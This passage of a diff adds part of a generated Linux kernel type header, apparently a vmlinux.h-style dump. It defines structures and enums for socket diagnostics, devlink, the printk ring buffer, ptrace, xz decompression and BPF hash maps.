+enum { + SK_MEMINFO_RMEM_ALLOC = 0, + SK_MEMINFO_RCVBUF = 1, + SK_MEMINFO_WMEM_ALLOC = 2, + SK_MEMINFO_SNDBUF = 3, + SK_MEMINFO_FWD_ALLOC = 4, + SK_MEMINFO_WMEM_QUEUED = 5, + SK_MEMINFO_OPTMEM = 6, + SK_MEMINFO_BACKLOG = 7, + SK_MEMINFO_DROPS = 8, + SK_MEMINFO_VARS = 9, +}; + +struct inet_diag_sockid { + __be16 idiag_sport; + __be16 idiag_dport; + __be32 idiag_src[4]; + __be32 idiag_dst[4]; + __u32 idiag_if; + __u32 idiag_cookie[2]; +}; + +struct inet_diag_req { + __u8 idiag_family; + __u8 idiag_src_len; + __u8 idiag_dst_len; + __u8 idiag_ext; + struct inet_diag_sockid id; + __u32 idiag_states; + __u32 idiag_dbs; +}; + +struct inet_diag_req_v2 { + __u8 sdiag_family; + __u8 sdiag_protocol; + __u8 idiag_ext; + __u8 pad; + __u32 idiag_states; + struct inet_diag_sockid id; +}; + +enum { + INET_DIAG_REQ_NONE = 0, + INET_DIAG_REQ_BYTECODE = 1, + INET_DIAG_REQ_SK_BPF_STORAGES = 2, + INET_DIAG_REQ_PROTOCOL = 3, + __INET_DIAG_REQ_MAX = 4, +}; + +struct inet_diag_bc_op { + unsigned char code; + unsigned char yes; + short unsigned int no; +}; + +enum { + INET_DIAG_BC_NOP = 0, + INET_DIAG_BC_JMP = 1, + INET_DIAG_BC_S_GE = 2, + INET_DIAG_BC_S_LE = 3, + INET_DIAG_BC_D_GE = 4, + INET_DIAG_BC_D_LE = 5, + INET_DIAG_BC_AUTO = 6, + INET_DIAG_BC_S_COND = 7, + INET_DIAG_BC_D_COND = 8, + INET_DIAG_BC_DEV_COND = 9, + INET_DIAG_BC_MARK_COND = 10, + INET_DIAG_BC_S_EQ = 11, + INET_DIAG_BC_D_EQ = 12, + INET_DIAG_BC_CGROUP_COND = 13, +}; + +struct inet_diag_hostcond { + __u8 family; + __u8 prefix_len; + int port; + __be32 addr[0]; +}; + +struct inet_diag_markcond { + __u32 mark; + __u32 mask; +}; + +struct inet_diag_msg { + __u8 idiag_family; + __u8 idiag_state; + __u8 idiag_timer; + __u8 idiag_retrans; + struct inet_diag_sockid id; + __u32 idiag_expires; + __u32 idiag_rqueue; + __u32 idiag_wqueue; + __u32 idiag_uid; + __u32 idiag_inode; +}; + +enum { + INET_DIAG_NONE = 0, + INET_DIAG_MEMINFO = 1, + INET_DIAG_INFO = 2, + INET_DIAG_VEGASINFO = 3, + INET_DIAG_CONG = 4, + INET_DIAG_TOS = 5, + INET_DIAG_TCLASS = 6, + INET_DIAG_SKMEMINFO = 7, + INET_DIAG_SHUTDOWN = 8, + INET_DIAG_DCTCPINFO = 9, + INET_DIAG_PROTOCOL = 10, + INET_DIAG_SKV6ONLY = 11, + INET_DIAG_LOCALS = 12, + INET_DIAG_PEERS = 13, + INET_DIAG_PAD = 14, + INET_DIAG_MARK = 15, + INET_DIAG_BBRINFO = 16, + INET_DIAG_CLASS_ID = 17, + INET_DIAG_MD5SIG = 18, + INET_DIAG_ULP_INFO = 19, + INET_DIAG_SK_BPF_STORAGES = 20, + INET_DIAG_CGROUP_ID = 21, + INET_DIAG_SOCKOPT = 22, + __INET_DIAG_MAX = 23, +}; + +struct inet_diag_meminfo { + __u32 idiag_rmem; + __u32 idiag_wmem; + __u32 idiag_fmem; + __u32 idiag_tmem; +}; + +struct inet_diag_sockopt { + __u8 recverr: 1; + __u8 is_icsk: 1; + __u8 freebind: 1; + __u8 hdrincl: 1; + __u8 mc_loop: 1; + __u8 transparent: 1; + __u8 mc_all: 1; + __u8 nodefrag: 1; + __u8 bind_address_no_port: 1; + __u8 recverr_rfc4884: 1; + __u8 defer_connect: 1; + __u8 unused: 5; +}; + +struct inet_diag_handler { + void (*dump)(struct sk_buff *, struct netlink_callback *, const struct inet_diag_req_v2 *); + int (*dump_one)(struct netlink_callback *, const struct inet_diag_req_v2 *); + void (*idiag_get_info)(struct sock *, struct inet_diag_msg *, void *); + int (*idiag_get_aux)(struct sock *, bool, struct sk_buff *); + size_t (*idiag_get_aux_size)(struct sock *, bool); + int (*destroy)(struct sk_buff *, const struct inet_diag_req_v2 *); + __u16 idiag_type; + __u16 idiag_info_size; +}; + +struct bpf_sk_storage_diag; + +struct inet_diag_dump_data { + struct nlattr *req_nlas[4]; + struct bpf_sk_storage_diag *bpf_stg_diag; +}; + +struct inet_diag_entry { + const __be32 *saddr; + const __be32 *daddr; + u16 sport; + u16 dport; + u16 family; + u16 userlocks; + u32 ifindex; + u32 mark; + u64 cgroup_id; +}; + +struct ip6_mtuinfo { + struct sockaddr_in6 ip6m_addr; + __u32 ip6m_mtu; +}; + +struct genl_dumpit_info { + const struct genl_family *family; + struct genl_split_ops op; + struct nlattr **attrs; +}; + +enum devlink_command { + DEVLINK_CMD_UNSPEC = 0, + DEVLINK_CMD_GET = 1, + DEVLINK_CMD_SET = 2, + DEVLINK_CMD_NEW = 3, + DEVLINK_CMD_DEL = 4, + DEVLINK_CMD_PORT_GET = 5, + DEVLINK_CMD_PORT_SET = 6, + DEVLINK_CMD_PORT_NEW = 7, + DEVLINK_CMD_PORT_DEL = 8, + DEVLINK_CMD_PORT_SPLIT = 9, + DEVLINK_CMD_PORT_UNSPLIT = 10, + DEVLINK_CMD_SB_GET = 11, + DEVLINK_CMD_SB_SET = 12, + DEVLINK_CMD_SB_NEW = 13, + DEVLINK_CMD_SB_DEL = 14, + DEVLINK_CMD_SB_POOL_GET = 15, + DEVLINK_CMD_SB_POOL_SET = 16, + DEVLINK_CMD_SB_POOL_NEW = 17, + DEVLINK_CMD_SB_POOL_DEL = 18, + DEVLINK_CMD_SB_PORT_POOL_GET = 19, + DEVLINK_CMD_SB_PORT_POOL_SET = 20, + DEVLINK_CMD_SB_PORT_POOL_NEW = 21, + DEVLINK_CMD_SB_PORT_POOL_DEL = 22, + DEVLINK_CMD_SB_TC_POOL_BIND_GET = 23, + DEVLINK_CMD_SB_TC_POOL_BIND_SET = 24, + DEVLINK_CMD_SB_TC_POOL_BIND_NEW = 25, + DEVLINK_CMD_SB_TC_POOL_BIND_DEL = 26, + DEVLINK_CMD_SB_OCC_SNAPSHOT = 27, + DEVLINK_CMD_SB_OCC_MAX_CLEAR = 28, + DEVLINK_CMD_ESWITCH_GET = 29, + DEVLINK_CMD_ESWITCH_SET = 30, + DEVLINK_CMD_DPIPE_TABLE_GET = 31, + DEVLINK_CMD_DPIPE_ENTRIES_GET = 32, + DEVLINK_CMD_DPIPE_HEADERS_GET = 33, + DEVLINK_CMD_DPIPE_TABLE_COUNTERS_SET = 34, + DEVLINK_CMD_RESOURCE_SET = 35, + DEVLINK_CMD_RESOURCE_DUMP = 36, + DEVLINK_CMD_RELOAD = 37, + DEVLINK_CMD_PARAM_GET = 38, + DEVLINK_CMD_PARAM_SET = 39, + DEVLINK_CMD_PARAM_NEW = 40, + DEVLINK_CMD_PARAM_DEL = 41, + DEVLINK_CMD_REGION_GET = 42, + DEVLINK_CMD_REGION_SET = 43, + DEVLINK_CMD_REGION_NEW = 44, + DEVLINK_CMD_REGION_DEL = 45, + DEVLINK_CMD_REGION_READ = 46, + DEVLINK_CMD_PORT_PARAM_GET = 47, + DEVLINK_CMD_PORT_PARAM_SET = 48, + DEVLINK_CMD_PORT_PARAM_NEW = 49, + DEVLINK_CMD_PORT_PARAM_DEL = 50, + DEVLINK_CMD_INFO_GET = 51, + DEVLINK_CMD_HEALTH_REPORTER_GET = 52, + DEVLINK_CMD_HEALTH_REPORTER_SET = 53, + DEVLINK_CMD_HEALTH_REPORTER_RECOVER = 54, + DEVLINK_CMD_HEALTH_REPORTER_DIAGNOSE = 55, + DEVLINK_CMD_HEALTH_REPORTER_DUMP_GET = 56, + DEVLINK_CMD_HEALTH_REPORTER_DUMP_CLEAR = 57, + DEVLINK_CMD_FLASH_UPDATE = 58, + DEVLINK_CMD_FLASH_UPDATE_END = 59, + DEVLINK_CMD_FLASH_UPDATE_STATUS = 60, + DEVLINK_CMD_TRAP_GET = 61, + DEVLINK_CMD_TRAP_SET = 62, + DEVLINK_CMD_TRAP_NEW = 63, + DEVLINK_CMD_TRAP_DEL = 64, + DEVLINK_CMD_TRAP_GROUP_GET = 65, + DEVLINK_CMD_TRAP_GROUP_SET = 66, + DEVLINK_CMD_TRAP_GROUP_NEW = 67, + DEVLINK_CMD_TRAP_GROUP_DEL = 68, + DEVLINK_CMD_TRAP_POLICER_GET = 69, + DEVLINK_CMD_TRAP_POLICER_SET = 70, + DEVLINK_CMD_TRAP_POLICER_NEW = 71, + DEVLINK_CMD_TRAP_POLICER_DEL = 72, + DEVLINK_CMD_HEALTH_REPORTER_TEST = 73, + DEVLINK_CMD_RATE_GET = 74, + DEVLINK_CMD_RATE_SET = 75, + DEVLINK_CMD_RATE_NEW = 76, + DEVLINK_CMD_RATE_DEL = 77, + DEVLINK_CMD_LINECARD_GET = 78, + DEVLINK_CMD_LINECARD_SET = 79, + DEVLINK_CMD_LINECARD_NEW = 80, + DEVLINK_CMD_LINECARD_DEL = 81, + DEVLINK_CMD_SELFTESTS_GET = 82, + DEVLINK_CMD_SELFTESTS_RUN = 83, + __DEVLINK_CMD_MAX = 84, + DEVLINK_CMD_MAX = 83, +}; + +enum devlink_attr { + DEVLINK_ATTR_UNSPEC = 0, + DEVLINK_ATTR_BUS_NAME = 1, + DEVLINK_ATTR_DEV_NAME = 2, + DEVLINK_ATTR_PORT_INDEX = 3, + DEVLINK_ATTR_PORT_TYPE = 4, + DEVLINK_ATTR_PORT_DESIRED_TYPE = 5, + DEVLINK_ATTR_PORT_NETDEV_IFINDEX = 6, + DEVLINK_ATTR_PORT_NETDEV_NAME = 7, + DEVLINK_ATTR_PORT_IBDEV_NAME = 8, + DEVLINK_ATTR_PORT_SPLIT_COUNT = 9, + DEVLINK_ATTR_PORT_SPLIT_GROUP = 10, + DEVLINK_ATTR_SB_INDEX = 11, + DEVLINK_ATTR_SB_SIZE = 12, + DEVLINK_ATTR_SB_INGRESS_POOL_COUNT = 13, + DEVLINK_ATTR_SB_EGRESS_POOL_COUNT = 14, + DEVLINK_ATTR_SB_INGRESS_TC_COUNT = 15, + DEVLINK_ATTR_SB_EGRESS_TC_COUNT = 16, + DEVLINK_ATTR_SB_POOL_INDEX = 17, + DEVLINK_ATTR_SB_POOL_TYPE = 18, + DEVLINK_ATTR_SB_POOL_SIZE = 19, + DEVLINK_ATTR_SB_POOL_THRESHOLD_TYPE = 20, + DEVLINK_ATTR_SB_THRESHOLD = 21, + DEVLINK_ATTR_SB_TC_INDEX = 22, + DEVLINK_ATTR_SB_OCC_CUR = 23, + DEVLINK_ATTR_SB_OCC_MAX = 24, + DEVLINK_ATTR_ESWITCH_MODE = 25, + DEVLINK_ATTR_ESWITCH_INLINE_MODE = 26, + DEVLINK_ATTR_DPIPE_TABLES = 27, + DEVLINK_ATTR_DPIPE_TABLE = 28, + DEVLINK_ATTR_DPIPE_TABLE_NAME = 29, + DEVLINK_ATTR_DPIPE_TABLE_SIZE = 30, + DEVLINK_ATTR_DPIPE_TABLE_MATCHES = 31, + DEVLINK_ATTR_DPIPE_TABLE_ACTIONS = 32, + DEVLINK_ATTR_DPIPE_TABLE_COUNTERS_ENABLED = 33, + DEVLINK_ATTR_DPIPE_ENTRIES = 34, + DEVLINK_ATTR_DPIPE_ENTRY = 35, + DEVLINK_ATTR_DPIPE_ENTRY_INDEX = 36, + DEVLINK_ATTR_DPIPE_ENTRY_MATCH_VALUES = 37, + DEVLINK_ATTR_DPIPE_ENTRY_ACTION_VALUES = 38, + DEVLINK_ATTR_DPIPE_ENTRY_COUNTER = 39, + DEVLINK_ATTR_DPIPE_MATCH = 40, + DEVLINK_ATTR_DPIPE_MATCH_VALUE = 41, + DEVLINK_ATTR_DPIPE_MATCH_TYPE = 42, + DEVLINK_ATTR_DPIPE_ACTION = 43, + DEVLINK_ATTR_DPIPE_ACTION_VALUE = 44, + DEVLINK_ATTR_DPIPE_ACTION_TYPE = 45, + DEVLINK_ATTR_DPIPE_VALUE = 46, + DEVLINK_ATTR_DPIPE_VALUE_MASK = 47, + DEVLINK_ATTR_DPIPE_VALUE_MAPPING = 48, + DEVLINK_ATTR_DPIPE_HEADERS = 49, + DEVLINK_ATTR_DPIPE_HEADER = 50, + DEVLINK_ATTR_DPIPE_HEADER_NAME = 51, + DEVLINK_ATTR_DPIPE_HEADER_ID = 52, + DEVLINK_ATTR_DPIPE_HEADER_FIELDS = 53, + DEVLINK_ATTR_DPIPE_HEADER_GLOBAL = 54, + DEVLINK_ATTR_DPIPE_HEADER_INDEX = 55, + DEVLINK_ATTR_DPIPE_FIELD = 56, + DEVLINK_ATTR_DPIPE_FIELD_NAME = 57, + DEVLINK_ATTR_DPIPE_FIELD_ID = 58, + DEVLINK_ATTR_DPIPE_FIELD_BITWIDTH = 59, + DEVLINK_ATTR_DPIPE_FIELD_MAPPING_TYPE = 60, + DEVLINK_ATTR_PAD = 61, + DEVLINK_ATTR_ESWITCH_ENCAP_MODE = 62, + DEVLINK_ATTR_RESOURCE_LIST = 63, + DEVLINK_ATTR_RESOURCE = 64, + DEVLINK_ATTR_RESOURCE_NAME = 65, + DEVLINK_ATTR_RESOURCE_ID = 66, + DEVLINK_ATTR_RESOURCE_SIZE = 67, + DEVLINK_ATTR_RESOURCE_SIZE_NEW = 68, + DEVLINK_ATTR_RESOURCE_SIZE_VALID = 69, + DEVLINK_ATTR_RESOURCE_SIZE_MIN = 70, + DEVLINK_ATTR_RESOURCE_SIZE_MAX = 71, + DEVLINK_ATTR_RESOURCE_SIZE_GRAN = 72, + DEVLINK_ATTR_RESOURCE_UNIT = 73, + DEVLINK_ATTR_RESOURCE_OCC = 74, + DEVLINK_ATTR_DPIPE_TABLE_RESOURCE_ID = 75, + DEVLINK_ATTR_DPIPE_TABLE_RESOURCE_UNITS = 76, + DEVLINK_ATTR_PORT_FLAVOUR = 77, + DEVLINK_ATTR_PORT_NUMBER = 78, + DEVLINK_ATTR_PORT_SPLIT_SUBPORT_NUMBER = 79, + DEVLINK_ATTR_PARAM = 80, + DEVLINK_ATTR_PARAM_NAME = 81, + DEVLINK_ATTR_PARAM_GENERIC = 82, + DEVLINK_ATTR_PARAM_TYPE = 83, + DEVLINK_ATTR_PARAM_VALUES_LIST = 84, + DEVLINK_ATTR_PARAM_VALUE = 85, + DEVLINK_ATTR_PARAM_VALUE_DATA = 86, + DEVLINK_ATTR_PARAM_VALUE_CMODE = 87, + DEVLINK_ATTR_REGION_NAME = 88, + DEVLINK_ATTR_REGION_SIZE = 89, + DEVLINK_ATTR_REGION_SNAPSHOTS = 90, + DEVLINK_ATTR_REGION_SNAPSHOT = 91, + DEVLINK_ATTR_REGION_SNAPSHOT_ID = 92, + DEVLINK_ATTR_REGION_CHUNKS = 93, + DEVLINK_ATTR_REGION_CHUNK = 94, + DEVLINK_ATTR_REGION_CHUNK_DATA = 95, + DEVLINK_ATTR_REGION_CHUNK_ADDR = 96, + DEVLINK_ATTR_REGION_CHUNK_LEN = 97, + DEVLINK_ATTR_INFO_DRIVER_NAME = 98, + DEVLINK_ATTR_INFO_SERIAL_NUMBER = 99, + DEVLINK_ATTR_INFO_VERSION_FIXED = 100, + DEVLINK_ATTR_INFO_VERSION_RUNNING = 101, + DEVLINK_ATTR_INFO_VERSION_STORED = 102, + DEVLINK_ATTR_INFO_VERSION_NAME = 103, + DEVLINK_ATTR_INFO_VERSION_VALUE = 104, + DEVLINK_ATTR_SB_POOL_CELL_SIZE = 105, + DEVLINK_ATTR_FMSG = 106, + DEVLINK_ATTR_FMSG_OBJ_NEST_START = 107, + DEVLINK_ATTR_FMSG_PAIR_NEST_START = 108, + DEVLINK_ATTR_FMSG_ARR_NEST_START = 109, + DEVLINK_ATTR_FMSG_NEST_END = 110, + DEVLINK_ATTR_FMSG_OBJ_NAME = 111, + DEVLINK_ATTR_FMSG_OBJ_VALUE_TYPE = 112, + DEVLINK_ATTR_FMSG_OBJ_VALUE_DATA = 113, + DEVLINK_ATTR_HEALTH_REPORTER = 114, + DEVLINK_ATTR_HEALTH_REPORTER_NAME = 115, + DEVLINK_ATTR_HEALTH_REPORTER_STATE = 116, + DEVLINK_ATTR_HEALTH_REPORTER_ERR_COUNT = 117, + DEVLINK_ATTR_HEALTH_REPORTER_RECOVER_COUNT = 118, + DEVLINK_ATTR_HEALTH_REPORTER_DUMP_TS = 119, + DEVLINK_ATTR_HEALTH_REPORTER_GRACEFUL_PERIOD = 120, + DEVLINK_ATTR_HEALTH_REPORTER_AUTO_RECOVER = 121, + DEVLINK_ATTR_FLASH_UPDATE_FILE_NAME = 122, + DEVLINK_ATTR_FLASH_UPDATE_COMPONENT = 123, + DEVLINK_ATTR_FLASH_UPDATE_STATUS_MSG = 124, + DEVLINK_ATTR_FLASH_UPDATE_STATUS_DONE = 125, + DEVLINK_ATTR_FLASH_UPDATE_STATUS_TOTAL = 126, + DEVLINK_ATTR_PORT_PCI_PF_NUMBER = 127, + DEVLINK_ATTR_PORT_PCI_VF_NUMBER = 128, + DEVLINK_ATTR_STATS = 129, + DEVLINK_ATTR_TRAP_NAME = 130, + DEVLINK_ATTR_TRAP_ACTION = 131, + DEVLINK_ATTR_TRAP_TYPE = 132, + DEVLINK_ATTR_TRAP_GENERIC = 133, + DEVLINK_ATTR_TRAP_METADATA = 134, + DEVLINK_ATTR_TRAP_GROUP_NAME = 135, + DEVLINK_ATTR_RELOAD_FAILED = 136, + DEVLINK_ATTR_HEALTH_REPORTER_DUMP_TS_NS = 137, + DEVLINK_ATTR_NETNS_FD = 138, + DEVLINK_ATTR_NETNS_PID = 139, + DEVLINK_ATTR_NETNS_ID = 140, + DEVLINK_ATTR_HEALTH_REPORTER_AUTO_DUMP = 141, + DEVLINK_ATTR_TRAP_POLICER_ID = 142, + DEVLINK_ATTR_TRAP_POLICER_RATE = 143, + DEVLINK_ATTR_TRAP_POLICER_BURST = 144, + DEVLINK_ATTR_PORT_FUNCTION = 145, + DEVLINK_ATTR_INFO_BOARD_SERIAL_NUMBER = 146, + DEVLINK_ATTR_PORT_LANES = 147, + DEVLINK_ATTR_PORT_SPLITTABLE = 148, + DEVLINK_ATTR_PORT_EXTERNAL = 149, + DEVLINK_ATTR_PORT_CONTROLLER_NUMBER = 150, + DEVLINK_ATTR_FLASH_UPDATE_STATUS_TIMEOUT = 151, + DEVLINK_ATTR_FLASH_UPDATE_OVERWRITE_MASK = 152, + DEVLINK_ATTR_RELOAD_ACTION = 153, + DEVLINK_ATTR_RELOAD_ACTIONS_PERFORMED = 154, + DEVLINK_ATTR_RELOAD_LIMITS = 155, + DEVLINK_ATTR_DEV_STATS = 156, + DEVLINK_ATTR_RELOAD_STATS = 157, + DEVLINK_ATTR_RELOAD_STATS_ENTRY = 158, + DEVLINK_ATTR_RELOAD_STATS_LIMIT = 159, + DEVLINK_ATTR_RELOAD_STATS_VALUE = 160, + DEVLINK_ATTR_REMOTE_RELOAD_STATS = 161, + DEVLINK_ATTR_RELOAD_ACTION_INFO = 162, + DEVLINK_ATTR_RELOAD_ACTION_STATS = 163, + DEVLINK_ATTR_PORT_PCI_SF_NUMBER = 164, + DEVLINK_ATTR_RATE_TYPE = 165, + DEVLINK_ATTR_RATE_TX_SHARE = 166, + DEVLINK_ATTR_RATE_TX_MAX = 167, + DEVLINK_ATTR_RATE_NODE_NAME = 168, + DEVLINK_ATTR_RATE_PARENT_NODE_NAME = 169, + DEVLINK_ATTR_REGION_MAX_SNAPSHOTS = 170, + DEVLINK_ATTR_LINECARD_INDEX = 171, + DEVLINK_ATTR_LINECARD_STATE = 172, + DEVLINK_ATTR_LINECARD_TYPE = 173, + DEVLINK_ATTR_LINECARD_SUPPORTED_TYPES = 174, + DEVLINK_ATTR_NESTED_DEVLINK = 175, + DEVLINK_ATTR_SELFTESTS = 176, + DEVLINK_ATTR_RATE_TX_PRIORITY = 177, + DEVLINK_ATTR_RATE_TX_WEIGHT = 178, + DEVLINK_ATTR_REGION_DIRECT = 179, + __DEVLINK_ATTR_MAX = 180, + DEVLINK_ATTR_MAX = 179, +}; + +struct devlink_dev_stats { + u32 reload_stats[6]; + u32 remote_reload_stats[6]; +}; + +struct devlink_dpipe_headers; + +struct devlink { + u32 index; + struct xarray ports; + struct list_head rate_list; + struct list_head sb_list; + struct list_head dpipe_table_list; + struct list_head resource_list; + struct xarray params; + struct list_head region_list; + struct list_head reporter_list; + struct devlink_dpipe_headers *dpipe_headers; + struct list_head trap_list; + struct list_head trap_group_list; + struct list_head trap_policer_list; + struct list_head linecard_list; + const struct devlink_ops *ops; + struct xarray snapshot_ids; + struct devlink_dev_stats stats; + struct device *dev; + possible_net_t _net; + struct mutex lock; + struct lock_class_key lock_key; + u8 reload_failed: 1; + refcount_t refcount; + struct rcu_work rwork; + struct notifier_block netdevice_nb; + long: 64; + long: 64; + long: 64; + char priv[0]; +}; + +struct devlink_dpipe_headers { + struct devlink_dpipe_header **headers; + unsigned int headers_count; +}; + +enum devlink_health_reporter_state { + DEVLINK_HEALTH_REPORTER_STATE_HEALTHY = 0, + DEVLINK_HEALTH_REPORTER_STATE_ERROR = 1, +}; + +struct devlink_fmsg; + +struct devlink_health_reporter_ops { + char *name; + int (*recover)(struct devlink_health_reporter *, void *, struct netlink_ext_ack *); + int (*dump)(struct devlink_health_reporter *, struct devlink_fmsg *, void *, struct netlink_ext_ack *); + int (*diagnose)(struct devlink_health_reporter *, struct devlink_fmsg *, struct netlink_ext_ack *); + int (*test)(struct devlink_health_reporter *, struct netlink_ext_ack *); +}; + +struct devlink_health_reporter { + struct list_head list; + void *priv; + const struct devlink_health_reporter_ops *ops; + struct devlink *devlink; + struct devlink_port *devlink_port; + struct devlink_fmsg *dump_fmsg; + struct mutex dump_lock; + u64 graceful_period; + bool auto_recover; + bool auto_dump; + u8 health_state; + u64 dump_ts; + u64 dump_real_ts; + u64 error_count; + u64 recovery_count; + u64 last_recovery_ts; +}; + +struct devlink_fmsg { + struct list_head item_list; + bool putting_binary; +}; + +enum devlink_multicast_groups { + DEVLINK_MCGRP_CONFIG = 0, +}; + +struct devlink_nl_dump_state { + long unsigned int instance; + int idx; + union { + struct { + u64 start_offset; + }; + struct { + u64 dump_ts; + }; + }; +}; + +struct devlink_cmd { + int (*dump_one)(struct sk_buff *, struct devlink *, struct netlink_callback *); +}; + +struct devlink_fmsg_item { + struct list_head list; + int attrtype; + u8 nla_type; + u16 len; + int value[0]; +}; + +struct user_key_payload { + struct callback_head rcu; + short unsigned int datalen; + long: 0; + char data[0]; +}; + +enum { + dns_key_data = 0, + dns_key_error = 1, +}; + +struct pci_root_info___2 { + struct acpi_pci_root_info common; + struct pci_sysdata sd; + bool mcfg_added; + u8 start_bus; + u8 end_bus; +}; + +enum xz_mode { + XZ_SINGLE = 0, + XZ_PREALLOC = 1, + XZ_DYNALLOC = 2, +}; + +enum xz_ret { + XZ_OK = 0, + XZ_STREAM_END = 1, + XZ_UNSUPPORTED_CHECK = 2, + XZ_MEM_ERROR = 3, + XZ_MEMLIMIT_ERROR = 4, + XZ_FORMAT_ERROR = 5, + XZ_OPTIONS_ERROR = 6, + XZ_DATA_ERROR = 7, + XZ_BUF_ERROR = 8, +}; + +struct xz_buf { + const uint8_t *in; + size_t in_pos; + size_t in_size; + uint8_t *out; + size_t out_pos; + size_t out_size; +}; + +struct xz_dec; + +enum { + EXTRA_REG_NHMEX_M_FILTER = 0, + EXTRA_REG_NHMEX_M_DSP = 1, + EXTRA_REG_NHMEX_M_ISS = 2, + EXTRA_REG_NHMEX_M_MAP = 3, + EXTRA_REG_NHMEX_M_MSC_THR = 4, + EXTRA_REG_NHMEX_M_PGT = 5, + EXTRA_REG_NHMEX_M_PLD = 6, + EXTRA_REG_NHMEX_M_ZDP_CTL_FVC = 7, +}; + +typedef int (*wakeup_cpu_handler)(int, long unsigned int); + +union apic_ir { + long unsigned int map[4]; + u32 regs[8]; +}; + +struct ptrace_peeksiginfo_args { + __u64 off; + __u32 flags; + __s32 nr; +}; + +struct ptrace_syscall_info { + __u8 op; + __u8 pad[3]; + __u32 arch; + __u64 instruction_pointer; + __u64 stack_pointer; + union { + struct { + __u64 nr; + __u64 args[6]; + } entry; + struct { + __s64 rval; + __u8 is_error; + } exit; + struct { + __u64 nr; + __u64 args[6]; + __u32 ret_data; + } seccomp; + }; +}; + +struct ptrace_rseq_configuration { + __u64 rseq_abi_pointer; + __u32 rseq_abi_size; + __u32 signature; + __u32 flags; + __u32 pad; +}; + +struct dev_printk_info { + char subsystem[16]; + char device[48]; +}; + +enum con_flush_mode { + CONSOLE_FLUSH_PENDING = 0, + CONSOLE_REPLAY_ALL = 1, +}; + +struct kmsg_dump_iter { + u64 cur_seq; + u64 next_seq; +}; + +struct kmsg_dumper { + struct list_head list; + void (*dump)(struct kmsg_dumper *, enum kmsg_dump_reason); + enum kmsg_dump_reason max_reason; + bool registered; +}; + +struct trace_event_raw_console { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_data_offsets_console { + u32 msg; +}; + +typedef void (*btf_trace_console)(void *, const char *, size_t); + +struct printk_info { + u64 seq; + u64 ts_nsec; + u16 text_len; + u8 facility; + u8 flags: 5; + u8 level: 3; + u32 caller_id; + struct dev_printk_info dev_info; +}; + +struct printk_record { + struct printk_info *info; + char *text_buf; + unsigned int text_buf_size; +}; + +struct prb_data_blk_lpos { + long unsigned int begin; + long unsigned int next; +}; + +struct prb_desc { + atomic_long_t state_var; + struct prb_data_blk_lpos text_blk_lpos; +}; + +struct prb_data_ring { + unsigned int size_bits; + char *data; + atomic_long_t head_lpos; + atomic_long_t tail_lpos; +}; + +struct prb_desc_ring { + unsigned int count_bits; + struct prb_desc *descs; + struct printk_info *infos; + atomic_long_t head_id; + atomic_long_t tail_id; + atomic_long_t last_finalized_id; +}; + +struct printk_ringbuffer { + struct prb_desc_ring desc_ring; + struct prb_data_ring text_data_ring; + atomic_long_t fail; +}; + +struct prb_reserved_entry { + struct printk_ringbuffer *rb; + long unsigned int irqflags; + long unsigned int id; + unsigned int text_space; +}; + +enum desc_state { + desc_miss = -1, + desc_reserved = 0, + desc_committed = 1, + desc_finalized = 2, + desc_reusable = 3, +}; + +struct console_cmdline { + char name[16]; + int index; + bool user_specified; + char *options; +}; + +enum printk_info_flags { + LOG_NEWLINE = 2, + LOG_CONT = 8, +}; + +struct printk_buffers { + char outbuf[2048]; + char scratchbuf[1024]; +}; + +struct printk_message { + struct printk_buffers *pbufs; + unsigned int outbuf_len; + u64 seq; + long unsigned int dropped; +}; + +enum devkmsg_log_bits { + __DEVKMSG_LOG_BIT_ON = 0, + __DEVKMSG_LOG_BIT_OFF = 1, + __DEVKMSG_LOG_BIT_LOCK = 2, +}; + +enum devkmsg_log_masks { + DEVKMSG_LOG_MASK_ON = 1, + DEVKMSG_LOG_MASK_OFF = 2, + DEVKMSG_LOG_MASK_LOCK = 4, +}; + +enum con_msg_format_flags { + MSG_FORMAT_DEFAULT = 0, + MSG_FORMAT_SYSLOG = 1, +}; + +struct latched_seq { + seqcount_latch_t latch; + u64 val[2]; +}; + +struct devkmsg_user { + atomic64_t seq; + struct ratelimit_state rs; + struct mutex lock; + struct printk_buffers pbufs; +}; + +struct proc_timens_offset { + int clockid; + struct timespec64 val; +}; + +struct cpu_stop_done { + atomic_t nr_todo; + int ret; + struct completion completion; +}; + +struct cpu_stopper { + struct task_struct *thread; + raw_spinlock_t lock; + bool enabled; + struct list_head works; + struct cpu_stop_work stop_work; + long unsigned int caller; + cpu_stop_fn_t fn; +}; + +enum multi_stop_state { + MULTI_STOP_NONE = 0, + MULTI_STOP_PREPARE = 1, + MULTI_STOP_DISABLE_IRQ = 2, + MULTI_STOP_RUN = 3, + MULTI_STOP_EXIT = 4, +}; + +struct multi_stop_data { + cpu_stop_fn_t fn; + void *data; + unsigned int num_threads; + const struct cpumask *active_cpus; + enum multi_stop_state state; + atomic_t thread_ack; +}; + +struct trace_event_raw_preemptirq_template { + struct trace_entry ent; + s32 caller_offs; + s32 parent_offs; + char __data[0]; +}; + +struct trace_event_data_offsets_preemptirq_template {}; + +typedef void (*btf_trace_irq_disable)(void *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_irq_enable)(void *, long unsigned int, long unsigned int); + +struct bpf_iter__bpf_map_elem { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + void *key; + }; + union { + void *value; + }; +}; + +struct bucket { + struct hlist_nulls_head head; + raw_spinlock_t raw_lock; +}; + +struct htab_elem; + +struct bpf_htab { + struct bpf_map map; + struct bpf_mem_alloc ma; + struct bpf_mem_alloc pcpu_ma; + struct bucket *buckets; + void *elems; + union { + struct pcpu_freelist freelist; + struct bpf_lru lru; + }; + struct htab_elem **extra_elems; + struct percpu_counter pcount; + atomic_t count; + bool use_percpu_counter; + u32 n_buckets; + u32 elem_size; + u32 hashrnd; + struct lock_class_key lockdep_key; + int *map_locked[8]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct htab_elem { + union { + struct hlist_nulls_node hash_node; + struct { + void *padding; + union { + struct pcpu_freelist_node fnode; + struct htab_elem *batch_flink; + }; + }; + }; + union { + void *ptr_to_pptr; + struct bpf_lru_node lru_node; + }; + u32 hash; + long: 0; + char key[0]; +}; + +struct bpf_iter_seq_hash_map_info { + struct bpf_map *map; + struct bpf_htab *htab; + void *percpu_value_buf; + u32 bucket_id; + u32 skip_elems; +}; + +struct trace_event_raw_kmem_cache_alloc { + struct trace_entry ent; + long unsigned int call_site; + const void *ptr; + size_t bytes_req; + size_t bytes_alloc; 